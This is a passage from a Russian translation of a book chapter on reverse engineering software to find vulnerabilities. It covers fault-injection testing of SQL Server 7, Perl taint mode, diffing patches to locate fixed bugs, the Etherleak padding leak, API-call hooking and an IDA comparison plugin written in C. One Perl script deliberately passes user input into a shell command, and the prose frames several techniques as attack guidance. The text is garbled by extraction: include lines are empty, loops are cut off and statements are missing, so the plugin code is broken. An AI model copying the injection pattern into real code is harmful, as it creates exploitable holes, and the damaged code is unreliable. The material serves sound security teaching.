стей и затрачивают совсем немного времени на проверку безопасности. В большин>
стве коммерческих фирм, занимающихся разработкой программного обеспечения,
нарушается процесс проверки качества приложений из>за ограничений относитель>
но времени, экономии средств, но главным образом из>за уверенности в том, что при
создании программы проверка качества не является основным аспектом работы.
Но в последнее время, с ростом значимости программного обеспечения, все
больше внимания уделяется процессу проверки качества программного обеспече>
ния. Разрабатывается единый, унифицированный подход к тестированию и анализу
программ, включающий в себя проверки безопасности, надежности и производи>
тельности программных продуктов. В процессе управления качеством программ ис>
пользуется анализ как по методу “белого ящика”, так и по методу “черного ящика” в
целях выявления и управления рисками на максимально ранней стадии жизненного
цикла программного обеспечения.

Поиск уязвимых мест в Microsoft SQL Server 7 с помощью
метода “серого ящика”
При анализе программ по методу “серого ящика”, как правило, используются не>
сколько средств. В нашем примере будут использованы средства отладки для про>
верки программы во время ее выполнения совместно с генератором входных данных
по методу “черного ящика”. Напомним, что использование средств выявления оши>
бок и отладчиков, проверяющих работу программы во время ее выполнения, — чрез>
вычайно мощный метод выявления проблем в программном обеспечении. При
совместном применении со средствами внесения ошибок отладчики позволяют
выявить просчеты в программном обеспечении. Во многих случаях дизассембли>
рование программы позволяет точно определить истинную причину дефекта про>
граммы, как будет показано в нашем примере.
Одним из мощнейших средств для динамического исследования программного
обеспечения можно назвать Purify от компании Rational. В нашем примере с помо>
щью программы Hailstrorm мы реализуем процесс внесения ошибок по отношению
к программе SQL Server 7 от компании Microsoft и одновременно будем отслеживать
состояние атакуемой программы с помощью Purify. Совместное использование про>
грамм Purify и Hailstrorm позволяет выявить проблему затирания данных в памяти,
которая проявляется в SQL Server после внесения некорректных данных в пакет

Восстановление исходного кода и структуры программы

87

протокола. Сбой в работе памяти происходит в результате возникновения исключе>
ния и его неправильной обработки.
Прежде всего, нужно определить точку для ввода входных данных для SQL>сер>
вера. SQL>сервер ожидает запросов на соединение на TCP>порт 1443. Для этого пор>
та нет спецификации используемого протокола. Вместо восстановления исходного
кода и определения правил работы этого протокола, проведем простой тест, вводя
случайные входные данные, включающие строки цифр. Эти данные передаются на
TCP>порт. В результате формируются многочисленные “нормальные” пакеты, дос>
тавляемые на искомый порт и таким образом покрывается широкий диапазон вход>
ных значений. Набор входных пакетов доставляется за несколько минут с интенсив>
ностью около 20 пакетов в секунду.
Входные данные обрабатываются различными фрагментами кода в программе
SQL>сервера. В этих фрагментах кода, по существу, выполняется чтение заголовков
протокола. По истечении небольшого периода это приводит к возникновению ошиб>
ки, и Purify уведомляет об искажении информации в памяти.
Продемонстрируем факт возникновения ошибки в SQL>сервере с помощью
снимков экрана на рисунке 3.2, где совмещены дамп памяти, сделанный программой
Purify, и отчет о тестировании Hailstorm. Обнаруженное Purify искажение информа>
ции в памяти происходит до отказа в работе SQL>сервера. Хотя атака и приводит
к отказу в работе SQL>сервера, но без Purify трудно определить место искажения
информации. Благодаря отчету Purify можно найти точное место в программном ко>
де, в котором происходит ошибка.

Рис. 3.2. Снимки экранов с отчетами программ Hailstorm и Purify, которые были сдела
ны в результате тестирования программного обеспечения SQLсервера

88

Глава 3

В данном случае обнаружение ошибки происходит до проведения реальной ата>
ки. Если попробовать обнаружить эту программу атаки только с помощью средств
“черного ящика”, то придется потратить несколько дней, прежде чем удастся вы>
явить эту ошибку. Искажение информации в памяти может вызывать сбой програм>
мы в совершенно другом участке кода, что усложняет определение того, какие вход>
ные данные являются причиной ошибки. С помощью средств статического анализа
можно определить факт искажения информации в памяти, но эти средства не позво>
ляют узнать, может ли эта ошибка быть использована на практике злоумышленни>
ком. Объединение двух методов, продемонстрированное в нашем примере, позволя>
ет сэкономить массу времени и взять лучшее от обоих методов.

Методы исследования
Существует несколько методов восстановления исходного кода программного
обеспечения. Для каждого из них характерны свои преимущества, и у каждого есть
свои требования относительно ресурсов и времени. В стандартном исследовании ис>
пользуется набор методов для декомпиляции и анализа программного обеспечения.
Правильное сочетание выбранных методов целиком зависит от конкретной ситуа>
ции. Например, сначала можно выполнить быстрое сканирование программного ко>
да для определения очевидных уязвимых мест. Затем можно перейти к подробному
отслеживанию обработки в программе введенных пользователем данных. Вероятнее
всего, не удастся отследить каждый вариант внутреннего маршрута выполнения
программы, поэтому разумно воспользоваться точками останова и другими средст>
вами для ускорения процесса анализа программы. Рассмотрим несколько основных
методов исследования.

Отслеживание обработки входных данных
Отслеживание обработки входных данных является наиболее доскональным мето>
дом исследования программы. Прежде всего, нужно определить точки входа. Точки
входа — это места, в которых введенные пользователем данные передаются программе.
Например, получение сетевого пакета осуществляется с помощью вызова функции
WSARecvFrom(). По существу, этот вызов принимает введенные пользователем дан>
ные из сети и размещает их в буфер. На точке входа можно установить точку останова
и начать пошаговое отслеживание выполнения программы. Конечно, используя набор
отладочных средств, не забывайте о простом карандаше и листе бумаги. Следует запи>
сывать каждый переход и изменение в процессе выполнения программы. Конечно, это
очень утомительный подход, но он позволяет получить максимум информации.
Хотя определение вручную всех точек входа потребует массу времени, исследо>
ватель получает возможность обнаружить каждый фрагмент кода, в котором прини>
маются решения относительно введенных пользователем данных. Используя этот
метод, можно выявить наиболее сложные проблемы.
Одним из языков, который защищен от подобных атак “отслеживания с помощью
входных данных” является язык Perl. В Perl предусмотрен специальный режим
безопасности, который называется режимом недоверия (taint mode). В режиме недо>
верия используются комбинации статических и динамических проверок для контро>
ля за всей информацией, которая поступает извне программы (такой как введенные
пользователем данные, аргументы функций и переменные окружения) и выдачи

Восстановление исходного кода и структуры программы

89

предупреждений при попытке программы сделать что>то потенциально опасное
с этими ненадежными данными. Рассмотрим следующий сценарий.
#!/usr/bin/perl -T
$username = ;
chop $username;
system ("cat /usr/stats/$username");

При выполнении этой программы Perl>обработчик переходит в режим недоверия,
поскольку указан параметр -T в первой строке вызова. Perl затем осуществляет по>
пытку скомпилировать программу. Режим недоверия позволяет обнаружить, что
программист не инициализировал явно переменную PATH и, тем не менее, пытается
запустить программу с помощью командного интерпретатора, который легко может
быть скомпрометирован. Перед прекращением компиляции будет выдано сообщение
об ошибке, подобное приведенному ниже.
Insecure $ENV{PATH} while running with -T switch at
./catform.pl line 4, chunk 1.

Мы можем отредактировать сценарий, чтобы явно задать какое>то безопасное
значение для переменной PATH в нашей программе при запуске.
#!/usr/bin/perl -T
use strict;
$ENV{PATH} = join ':' => split (" ",
доносным, то вредоносным может оказаться и вызов функции system. Поэтому вы>
дается другое сообщение об ошибке.
Insecure dependency in system while running with
-T switch at ./catform.pl line 9, chunk 1.

Даже если мы скопируем значение переменной $username в другую перемен>
ную, то режим недоверия все равно позволит выявить проблему.
В предыдущем примере выдается сообщение об ошибке, поскольку переменная
может использовать командный интерпретатор, чтобы запустить команду. Однако
режим недоверия не способен предотвратить все возможные атаки на уязвимые мес>
та, выполняемые с помощью входных данных, поэтому опытный хакер все равно в
состоянии добиться успеха.
Для защиты от проведения нашей атаки (или для ее усиления) также пригодится
улучшенный анализ потока данных. Средства для проведения статического анализа
позволяют аналитику (или хакеру) выявить все точки входа и определить, значения
каких переменных могут быть изменены с помощью внешних данных.

Использование отличий в версиях программ
При исследовании системы на предмет выявления уязвимых мест не забывайте,
что поставщик программного обеспечения исправляет многие ошибки в каждой сле>
дующей версии программы. В некоторых случаях поставщик может предоставлять

90

Глава 3

“горячее исправление” (“hot fix”) или заплату, которые вносят исправления в двоич>
ные файлы системы, поэтому очень важно отслеживать отличия между различными
версиями программного обеспечения.
Различия между версиями можно использовать как руководство по проведению
атак. Если появляется новая версия программного обеспечения или спецификации
протокола, значит, скорее всего, в ней были исправлены уязвимые места или ошибки
(если они были обнаружены). Даже если список исправлений не опубликован, то
можно сравнить двоичные файлы новой версии с двоичными файлами устаревшей
версии. Различия обнаруживаются на месте добавления новых функций или ис>
правления ошибок. Таким образом, этими отличиями можно смело руководство>
ваться для поиска уязвимых мест.

Использование охвата кода
Применение научных методов дает хакеру преимущество при прочих равных ус>
ловиях. Научный метод начинается с измерений. Без возможности измерения своей
среды исполнения нельзя сделать о ней никаких выводов. Большинство из рассмот>
ренных в этой книге методов предназначены для поиска ошибок при программиро>
вании. Обычно (хотя и не всегда) эти ошибки относятся к небольшой части про>
граммного кода. Вот почему во многих новых средствах разработки программ обес>
печивается защита от традиционных атак. В средстве разработки достаточно просто
предусмотреть возможность выявления простой ошибки программирования (стати>
чески) и устранить эту ошибку при компиляции. Вообще, через несколько лет атаки
на переполнение буфера безнадежно устареют.
Мы рассматриваем поведение программы при ее выполнении в определенных ус>
ловиях (например, при пиковых нагрузках). Необычное поведение программы, как
правило, означает нестабильность программного кода. А нестабильность программ>
ного кода означает высокую вероятность наличия уязвимых мест.
Охват кода (code coverage) представляет собой способотслеживания выполнения
программы и определения того, какие участки задействованы в исходном коде. Для
определения охвата кода разработано множество средств. Эти средства не всегда
предполагают доступ к исходному коду. С помощью некоторых средств можно под>
ключаться к процессу и собирать данные в реальном времени. В качестве примера
можно назвать программу dyninstAPI, созданную Джефом Холлингсворсом (Jeff
Hollingsworth), которая используется в Мэрилендском университете и которая дос>
тупна по адресу http://www.dyninst.org/.
Для хакера охват кода говорит об объеме работы, которую предстоит выполнить
при первом осмотре атакуемой программы. Компьютерные программы весьма слож>
ны и их взлом — утомительное занятие. Человеку свойственно пропускать фрагмен>
ты кода и переходить к главному. Охват кода позволяет определить, не пропустил ли
хакер чего>либо важного. Если вы пропустили процедуру, поскольку она показалась
вам безвредной, то, возможно, следует подумать еще раз! Охват кода позволяет вер>
нуться и повторно проверить проделанную хакером работу.
Пытаясь взломать программное обеспечение, хакеры обычно начинают с точки
ввода пользовательских данных. В качестве примера рассмотрим вызов функции

Восстановление исходного кода и структуры программы

91

4

WSARecv() . Отслеживая обработку данных по методу “снаружи внутрь”, можно
определить задействованные участки программного кода. Многие решения, как пра>
вило, принимаются после приема пользовательских данных. Эти решения реализу>
ются, как операторы ветвления, например, условные операторы ветвления JNZ и JE
в коде для платформы x86. Охват кода позволяет определить, когда происходит
ветвление, и “нарисовать” карту каждого непрерывного блока машинного кода. Для
хакера это означает возможность определить, какие участки кода не исполняются
при анализе программы.
Использование программ для оценки охвата кода позволяет опытному специали>
сту получить “маршрут” выполнения программы. Подобная трассировка позволяет
сохранить силы и продолжать исследование, когда в другом случае (без охвата кода)
хакер мог бы прекратить усилия по взлому, не проверив все возможности.
Средства для охвата кода настолько важны и необходимы в арсенале хакера,
что позже мы расскажем как создать подобное средство “с нуля”. В нашем примере
основное внимание будет направлено на язык ассемблера для платформы x86 и
операционную систему Windows XP. Исходя из нашего опыта, можем сказать, что
достаточно трудно найти средство для охвата кода при решении конкретной зада>
чи. Во многих коммерческих и бесплатных средствах вообще отсутствуют свойст>
ва, необходимые для проведения атак, и методы визуализации данных, столь важ>
ные для хакера.

Доступ к ядру
Слабое управление доступом дескрипторами, созданными для драйверов, откры>
вает систему для атак. Если хакер обнаружит драйвер устройства с незащищенным
дескриптором, он может воспользоваться командами IOCTL для доступа к этому
драйверу ядра. В зависимости от поддерживаемых драйвером функций, можно вы>
вести компьютер из строя или получить доступ к ядру. Любые входные данные для
драйвера, которые содержат адреса ячеек памяти, должны быть немедленно прове>
рены с помощью внесения нулевых (NULL) значений. Также иногда хакеры вводят
адреса, которые обращаются к памяти ядра. Если в драйвере не предусмотрено кон>
трольных проверок для вводимых пользователем значений, значит, можно исказить
содержимое памяти ядра. При тщательно продуманной атаке вполне возможно из>
менить глобальный режим в ядре и изменить права доступа.

Утечка данных из совместно используемых буферов
Как известно, в обычной программе используется множество буферов. Одни и те
же буферы используются снова и снова, но нас больше интересует вопрос: очищают>
ся ли эти буферы? Хранятся ли “старые” данные отдельно от “новых”? Буферы —
просто отличное место для поиска потенциальных возможностей утечки данных.
Любой буфер, который используется для хранения как общедоступных, так и кон>
фиденциальных данных, может стать причиной утечки информации.
Для перевода конфиденциальных данных в разряд общедоступных часто исполь>
зуются атаки, вызывающие изменение режима доступа или состояние “гонки на вы>
4

Функция WSARecv() позволяет получать данные от соединенного сокета. Дополнитель
ную информацию можно получить по адресу http://msdn.microsoft.com/library
/default.asp?url=/library/en-us/winsock/winsock/wsarecv_2.asp.

92

Глава 3

живание”. Таким образом, любое использование буфера без предварительной очист>
ки от ранее хранимых данных повышает риск утечки данных.
Пример: ошибка в сетевых адаптерах Ethernet
Один из авторов этой книги (Хогланд) несколько лет назад участвовал в работе
по обнаружению уязвимого места, которое несло потенциальную угрозу для мил>
5
лионов Ethernet>адаптеров по всему миру . В Ethernet>адаптерах используются
стандартные чипсеты для подключения к сети. Эти чипы можно назвать “покрыш>
ками” машины Internet. Проблема в том, что многие из этих чипов являются причи>
ной утечки данных из пакетов.
Возникновение проблемы обусловлено тем, что данные хранятся в буфере в мик>
рочипе на Ethernet>адаптере. Минимальный объем данных, которые могут быть от>
правлены в Ethernet>пакете, составляет 66 байт. Это минимальный размер кадра
Ethernet. Но размер многих пакетов, которые должны быть переданы по сети, на>
много меньше, чем 66 байт. В качестве примера можно назвать небольшие ping>
пакеты и ARP>запросы. Таким образом, в эти пакеты добавляются данные для уве>
личения размера до 66 байт.
Опишем проблему подробнее. Дело в том, что во многих чипах не выполняется
очистка буфера между отправками пакетов. Таким образом, пакет недостаточного раз>
мера дополняется любыми данными, оставшимися в буфере от предыдущего пакета.
Поэтому данные пакетов, предназначенных другим людям, запросто могут попасть в
пакеты хакера. Эту атаку достаточно просто реализовать, и она отлично работает в
коммутируемых сетях. В атаке применяется “залп” небольших пакетов, которые требуют
в ответ отправки небольшого пакета. После получения небольших ответных пакетов ха>
кер просматривает добавленные данные, чтобы увидеть данные из чужих пакетов.
Безусловно, в этой атаке теряются многие ценные для хакера данные, поскольку
первая часть каждого пакета затирается обычными данными ответного пакета. По>
этому хакер будет стараться создать поток как можно меньших ответных пакетов,
чтобы выкачать как можно больше информации. Для этих целей очень подойдут
ping>пакеты, что позволяет хакеру перехватывать незашифрованные пароли и даже
части ключей шифрования. ARP>пакеты даже меньше по размеру, но не годятся для
удаленной атаки. С помощью ARP>пакетов злоумышленник может получить номера
подтверждений ACK>пакетов из других сеансов. Это пригодится в стандартной ата>
ке перехвата данных по протоколу TCP/IP.

Поиск недостатков в предоставлении прав доступа
Неправильное планирование или же банальная лень со стороны некоторых про>
граммистов часто приводит к появлению программ, в работе которых предполагает>
ся наличие прав администратора или суперпользователя (root). Например, неогра>
ниченного доступа к системе требуют многие программы, которые были модифици>
рованы из прошлых версий Windows для работы под управлением Win2K и Win>
dows XP. В принципе, это особенно касается тех программ, которые, работая подоб>
ным образом, создают массу общедоступных файлов.
5

Позднее это уязвимое место получило название “Etherleak vulnerability.” Более подробную
информацию можно получить по адресу http://archives.neohapsis.com/archives/
vulnwatch/2003-q1/0016.html.

Восстановление исходного кода и структуры программы

93

Хакеру стоит поискать каталоги, в которых хранятся файлы с пользовательскими
данными. Хранятся ли в этих каталогах другие важные данные? Если да, то на>
сколько ограничены права доступа к этому каталогу? Это относится и к реестру NT>
систем, и к операциям с базой данных. Если хакер заменит библиотеку DLL или из>
менит параметры для программы, то он сможет расширить свои права доступа и за>
владеть системой. В системах Windows NT следует поискать открытые для доступа
вызовы функций, которые запрашивают или создают ресурсы без каких>либо огра>
ничений доступа. Чересчур либеральные права доступа приводят к появлению не>
защищенных файлов и объектов.

Использование вызовов функций API
Существует несколько системных вызовов, известных тем, что их использование
приводит к возникновению уязвимых мест. Один из методов атак как раз и заключа>
ется в выявлении этих вызовов (среди самых популярных, например, вызов функ>
ции strcpy()). К счастью, для выявления этих вызовов разработано немало специ>
6
альных средств .
На рисунке 3.3 показано окно программы APISPY32, содержащее отчет о пере>
хвате всех вызовов функции strcpy на проверяемой системе. Мы используем
APISPY32 для перехвата серий вызовов lstrcpy из программы Microsoft SQL
Server. Не все вызовы strcpy уязвимы для атак на переполнение буфера, но есть
и такие.
Установить программу APISPY32 очень легко. Ее можно скачать с сайта www.
internals.com. Нужно создать специальный файл APISpy32.api и разместить
его в корневом каталоге WinNT или Windows. Для нашего примера мы воспользу>
емся следующими параметрами конфигурационного файла.
KERNEL32.DLL:lstrcpy(PSTR, PSTR)
KERNEL32.DLL:lstrcpyA(PSTR, PSTR)
KERNEL32.DLL:lstrcat(PSTR, PSTR)
KERNEL32.DLL:lstrcatA(PSTR, PSTR)
WSOCK32.DLL:recv
WS2_32.DLL:recv
ADVAPI32.DLL:SetSecurityDescriptorDACL(DWORD, DWORD, DWORD, DWORD)

Перечисленные параметры указывают программе APISPY32 выполнять поиск
вызовов заданных функций. Это очень удобно при тестировании программы для по>
иска потенциально уязвимых вызовов API, а также любых вызовов, которым пере>
даются введенные пользователем данные. В промежутке между этими двумя типами
вызовов и лежит основная цель инженера по восстановлению исходного кода. Если
хакер способен определить, что входные данные достигают уязвимого вызова API,
значит, путь к победе становится очевидным.

6

Компания Cigital поддерживает базу данных, в которую заносится информация о стати
ческих правилах обеспечения безопасности в компьютерных системах. Только для программ на
языках C и C++ сделано около 550 записей. Используя эту информацию, статические средства
анализа позволяют выявить потенциально уязвимые места в программном обеспечении (этот
метод работает как для взлома программ, так и для повышения безопасности программного
обеспечения). — Прим. авт.

94

Глава 3

Рис. 3.3. Программа APISPY32 позволяет обнаружить вызовы в программном коде SQL
сервера. На снимке экрана показан отчет о выполнении запроса

Создание дополнительных модулей для IDA
IDA — это сокращенное название программы Intreactive Disassembler (доступной
по адресу www.datarescue.com), которая является одним из самых популярных
средств для восстановления исходного кода и структуры программ. IDA является
самым мощным и самым развитым интерактивным дизассемблером, доступным на
сегодняшний день. Эта программа позволяет подключать дополнительные модули,
т.е. пользователи могут самостоятельно расширять ее функциональные возможно>
сти и автоматизировать выполнение задач. Для примера в нашей книге мы создали
простой дополнительный модуль IDA, который позволяет выполнить сканирование
двух двоичных файлов и сравнить их. При этом будут выделены все области кода,
которые подверглись изменениям. Этот модуль можно использовать для сравнения
исполняемого файла до добавления заплаты с тем же файлом после добавления за>
платы для того, чтобы узнать, какие строки кода были исправлены.

Восстановление исходного кода и структуры программы

95

Во многих случаях поставщики программного обеспечения “тайно” исправляют
ошибки, связанные с безопасностью своих программ. Программа IDA позволяет ха>
керу обнаружить эти скрытые заплаты. Хотим предупредить, что наш дополнитель>
ный модуль может выделить в коде множество мест, которые не подвергались ника>
ким изменениям. Большое количество ложных результатов будет получено при из>
менении параметров компилятора или изменении заполнения между функциями.
Тем не менее, это неплохой пример того, как научиться писать дополнительные мо>
дули для IDA.
Наш пример позволяет также выделить основную проблему с обеспечением
безопасности по методу “взлом–создание заплаты”. Заплаты порой можно расцени>
вать как руководство по взлому, и опытные хакеры знают, как читать эти руково>
дства. Для использования приведенного ниже кода потребуется набор инструмен>
тальных средств разработки программного обеспечения (SDK), который поставля>
ется совместно с IDA. В тексте кода добавлены комментарии. Ниже перечислены
стандартные заголовочные файлы. В зависимости от того, какие вызовы API плани>
руется использовать, можно добавить и другие заголовочные файлы. Обратите вни>
мание, что мы деактивировали некоторые предупреждающие уведомления и доба>
вили заголовочный файл Windows. Благодаря этому мы получили возможность ис>
пользовать графический интерфейс Windows для вывода отрывающихся
диалоговых окон и т.д. Предупреждение 4273 выдается при использовании стан>
дартной библиотеки шаблонов, когда эта библиотека отключается по желанию поль>
зователя.
#include
#pragma warning( disable:4273 )
#include
#include
#include
#include
#include
#include

Поскольку наш дополнительный модуль основан на дополнительном модуле, ко>
торый предоставляется совместно с SDK, то следующий программный код взят про>
сто из примера. Все необходимые функции и комментарии тоже являются частью
примера.
//-------------------------------------------------------------------------// эта функция обратного вызова вызывается для событий
// выдачи уведомлений через интерфейс пользователя.
static int sample_callback(void * /*user_data*/, int event_id, va_list /*va*/)
{
if ( event_id != ui_msg ) // Предотвращение рекурсии.
if ( event_id != ui_setstate
&& event_id ! = ui_showauto
&& event_id ! = ui_refreshmarked ) // Игнорируем неинтересные события
msg("ui_callback %d\n", event_id);
return 0; // 0 означает "обработать событие";
// в противном случае, событие будет проигнорировано.
}
//-------------------------------------------------------------------------// Пример того, как генерировать определенные пользователем
// строковые префиксы
static const int prefix_width = 8;
static void get_user_defined_prefix(ea_t ea,
int lnnum,

96

Глава 3
int indent,
const char *line,
char *buf,
size_t bufsize)

{
buf[0] = '\0'; // По умолчанию пустой префикс

// Мы хотим отображать префикс только для тех строк,
// которые содержат инструкции.
if
if
if
if

(
(
(
(

indent != -1 ) return; // Директива
line[0] == '\0' ) return; // Пустая строка
*line == COLOR_ON ) line += 2;
*line == ash.cmnt[0] ) return; // Строка комментария. . .

// Мы не хотим еще раз выводить префикс для других строк
// той же инструкции данных. Для этой цели мы запоминаем номер
// строки и сравниваем его до генерации нового префикса.
static ea_t old_ea = BADADDR;
static int old_lnnum;
if ( old_ea == ea && old_lnnum == lnnum ) return;
// Отобразим размер текущего элемента как определенный пользователем префикс.
ulong our_size = get_item_size(ea);
// Похоже на строку команды. Мы не проверяем ее размер, поскольку
// она будет дополнена пробелами самим ядром.
snprintf(buf, bufsize, " %d", our_size);
// Запоминаем адрес и номер строки, для которой мы создали префикс.
old_ea = ea;
old_lnnum = lnnum;
}
//-------------------------------------------------------------------------//
// Инициализация.
//
// IDA вызывает эту функцию только один раз.
// Если она возвращает значение PLGUIN_SKIP, IDA никогда не загрузит ее снова.
// Если эта функция возвращает значение PLUGIN_OK, IDA выгрузит
// дополнительный модуль, но запомнит, что модуль может работать
// с базой данных.
// Дополнительный модуль будет загружен снова, если пользователь
// активизирует его нажав “горячую” клавишу или выбрав его из меню.
// После загрузки дополнительный модуль остается в памяти.
// Если эта функция возвращает значение PLUGIN_KEEP, IDA сохранит
// дополнительный модуль в памяти. В этом случае функция инициализации
// может подключиться в модуль процессора и к точкам выдачи уведомлений
// через пользовательский интерфейс.
// Смотри функцию hook_to_notification_point().
//
// В этом примере мы проверяем формат входного файла и принимаем решение.
// Вы можете проверять или не проверять другие условия // для принятия решения
относительно того, что делать,
// если вы согласились работать с базой данных.
//
int init(void)
{
if ( inf.filetype == f_ELF ) return PLUGIN_SKIP;
// Раскомментируйте следующую строку, чтобы понять как работает уведомление:
// hook_to_notification_point(HT_UI, sample_callback, NULL);

Восстановление исходного кода и структуры программы

97

// Раскомментируйте следующую строку, чтобы понять как работает
// определенный пользователем префикс:
// set_user_defined_prefix(prefix_width, get_user_defined_prefix);
return PLUGIN_KEEP;
}
//-------------------------------------------------------------------------// Завершить.
// Как правило этот обратный вызов пустой.
// Дополнительный модуль должен отключится от списка уведомлений,
// если была использована функция hook_to_notification_point().
//
// IDA вызовет эту функцию при запросе пользователя на выход.
// Эта функция не будет вызвана в случае
// аварийного завершения программы.
void term(void)
{
unhook_from_notification_point(HT_UI, sample_callback);
set_user_defined_prefix(0, NULL);
}

Добавим еще несколько заголовочных файлов и несколько глобальных пере>
менных.
#include
#include "resource.h"
DWORD g_tempest_state = 0;
LPVOID g_mapped_file = NULL;
DWORD g_file_size = 0;

Это позволяет загрузить файл в память. Этот файл будет использоваться в каче>
стве образца для сравнения с нашим загруженным двоичным файлом. Обычно вы
загружаете файл без заплаты в IDA и сравниваете его с файлом, в который были
внесены исправления.
bool load_file( char *theFilename )
{
HANDLE aFileH =
CreateFile( theFilename,
GENERIC_READ,
0,
NULL,
PAGE_READONLY,
0,
0,
NULL );
if(!aMapH)
{
msg("failed to open map of file\n");
return FALSE;
}
LPVOID aFilePointer =
MapViewOfFileEx(
aMapH,
FILE_MAP_READ,
0,
0,
0,
NULL);
DWORD aFileSize = GetFileSize(aFileH, NULL);

98

Глава 3
g_file_size = aFileSize;
g_mapped_file = aFilePointer;

}

return TRUE;

Эта функция принимает строку машинного кода и сканирует проверяемый файл
на предмет наличия этих байтов. Если строка кода не обнаруживается в проверяе>
мом файле, то область кода будет помечена в качестве той, которая подверглась из>
менениям. Это довольно простой метод, и он срабатывает во многих случаях. Но из>
за изложенных в начале этого раздела проблем, этот метод исследования может при>
вести к большому числу ложных тревог.
bool check_target_for_string(ea_t theAddress, DWORD theLen)
{
bool ret = FALSE;
if(theLen > 4096)
{
msg("skipping large buffer\n");
return TRUE;
}
try
{
// Сканируем проверяемый двоичный файл на предмет наличия строки.
static char g_c[4096];
// Я не знаю другого способа скопировать строку данных
// из базы данных IDA?!
for(DWORD i=0;i= theLen)
{
if(0 == memcmp(tp, g_c, theLen))
{
// Мы нашли совпадение!
ret = TRUE;
break;
}
if(sz > 1)
{
curr = ((char *)tp)+1;
}
else
{
break;
}
}
else
{
break;

Восстановление исходного кода и структуры программы

}

}

99

}

}
catch(...)
{
msg("[!] critical failure.");
return TRUE;
}
return ret;

Этот поток выявляет все функции и сравнивает их с двоичным файлом.
void __cdecl _test(void *p)
{
// Ожидаем стартового сигнала.
while(g_tempest_state == 0)
{
Sleep(10);
}

Вызываем функцию get_func_qty(), чтобы определить количество функций
в загруженном двоичном файле.
/////////////////////////////////////
// Выполнить подсчет во всех функциях.
/////////////////////////////////////
int total_functions = get_func_qty();
int total_diff_matches = 0;

Теперь запустим цикл для каждой функции. Для получения структуры функции
вызываем функцию getn_func(). Из структуры функции получаем начальный и
конечный адрес каждой функции. Структура функции имеет тип func_t. Тип ea_t
также известен как эффективный адрес (effective address) и представляет собой
длинное целое число без знака. Из структуры функции мы получаем начальный и
конечный адрес функции. Затем мы сравниваем последовательность байтов с прове>
ряемым двоичным файлом, как показано ниже.
for(int n=0;nstartEA;
ea_t last_location = myea;
while((myea endEA) && (myea != BADADDR))
{
// Если пользователь захочет остановиться, мы должны вернуться сюда.
if(0 == g_tempest_state) return;
ea_t nextea = get_first_cref_from(myea);
ea_t amloc = get_first_cref_to(nextea);
ea_t amloc2 = get_next_cref_to(nextea, amloc);
// Мы также проверяем наличие нескольких ссылок
if((amloc == myea) && (amloc2 == BADADDR))
{
// Я завяз в циклах, поэтому добавил этот фрагмент
// для принудительного выхода из следующей функции.

100

Глава 3
if(nextea > myea)
{
myea = nextea;
// ---------------------------------------------// Раскомментируйте две следующие строки, чтобы
// получить результаты сканирования в графической форме.
// Выглядит здорово, но замедляет сканирование.
// ---------------------------------------------// jumpto(myea);
// refresh_idaview();
}
else myea = BADADDR;

}
else
{
// Ссылка — это не последняя инструкция _OR_
// На этот код есть множественные ссылки.

// Немного изменим предыдущий код и добавим комментарий
// если эти места не совпадают
// msg("отличающееся место... \n");

Разместим комментарий в нашем листинге (с помощью функции add_long_cmt),
если проверяемый двоичный файл не содержит искомой строки машинного кода.
bool pause_for_effect = FALSE;
int size = myea - last_location;
if(FALSE == check_target_for_string(last_location, size))
{
add_long_cmt(last_location, TRUE,
"===================================================\n" \
"= ** Это место кода отличается от
места в проверяемом файле ** =\n" \
"====================================================\n");
msg("Обнаружено место 0x%08X которое не совпадает
с местом в проверяемом файле !\n", last_location);
total_diff_matches++;
}
if(nextea > myea)
{
myea = nextea;
}
else myea = BADADDR;

}

}

}

// перейти к следующему адресу.
jumpto(myea);
refresh_idaview();

}
msg("Сделано! В коде найдено %d мест, которые отличаются от мест
в проверяемом файле.\n", total_diff_matches);

Эта функция отображает диалоговое окно, запрашивающее у пользователя имя
файла.
char * GetFilenameDialog(HWND theParentWnd)
{
static TCHAR szFile[MAX_PATH] = "\0";
strcpy( szFile, "");

Восстановление исходного кода и структуры программы

101

OPENFILENAME OpenFileName;
OpenFileName.lStructSize = sizeof (OPENFILENAME);
OpenFileName.hwndOwner = theParentWnd;
OpenFileName.hInstance = GetModuleHandle("diff_scanner.plw");
OpenFileName.lpstrFilter = "w00t! all files\0*.*\0\0";
OpenFileName.lpstrCustomFilter = NULL;
OpenFileName.nMaxCustFilter = 0;
OpenFileName.nFilterIndex = 1;
OpenFileName.lpstrFile = szFile;
OpenFileName.nMaxFile = sizeof(szFile);
OpenFileName.lpstrFileTitle = NULL;
OpenFileName.nMaxFileTitle = 0;
OpenFileName.lpstrInitialDir = NULL;
OpenFileName.lpstrTitle = "Open";
OpenFileName.nFileOffset = 0;
OpenFileName.nFileExtension = 0;
OpenFileName.lpstrDefExt = "*.*";
OpenFileName.lCustData = 0;
OpenFileName.lpfnHook = NULL;
OpenFileName.lpTemplateName = NULL;
OpenFileName.Flags = OFN_EXPLORER | OFN_NOCHANGEDIR;

}

if(GetOpenFileName( &OpenFileName ))
{
return(szFile);
}
return NULL;

Как и для всех “самодельных” диалогов, необходима функция DialogProc для
обработки сообщений Windows.
BOOL CALLBACK MyDialogProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BROWSE)
{
char *p = GetFilenameDialog(hDlg);
SetDlgItemText(hDlg, IDC_EDIT_FILENAME, p);
}
if (LOWORD(wParam) == IDC_START)
{
char filename[255];
GetDlgItemText(hDlg, IDC_EDIT_FILENAME, filename, 254);
if(0 == strlen(filename))
{
MessageBox(hDlg, "Вы не выбрали файл для исследования",
"Попробуйте еще раз", MB_OK);
}
else if(load_file(filename))
{
g_tempest_state = 1;
EnableWindow( GetDlgItem(hDlg, IDC_START), FALSE);
}
else
{
MessageBox(hDlg, "Проверяемый файл не открывается",
"Ошибка", MB_OK);
}
}
if (LOWORD(wParam) == IDC_STOP)
{
g_tempest_state = 0;
}

102

Глава 3
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
if(LOWORD(wParam) == IDOK)
{
}
EndDialog(hDlg, LOWORD(wParam));
return TRUE;

}
break;
default:
break;

}
return FALSE;

}
void __cdecl _test2(void *p)
{
DialogBox( GetModuleHandle("diff_scanner.plw"),
MAKEINTRESOURCE(IDD_DIALOG1),
NULL, MyDialogProc);
}
//-------------------------------------------------------------------------//
// Метод дополнительного модуля.
//
// Это main-функция дополнительного модуля.
//
// Она будет вызываться при выборе пользователем дополнительного модуля.
//
// Arg - входной аргумент. Он может быть определен в
// файле plugins.cfg. По умолчанию равен нулю.
//
//

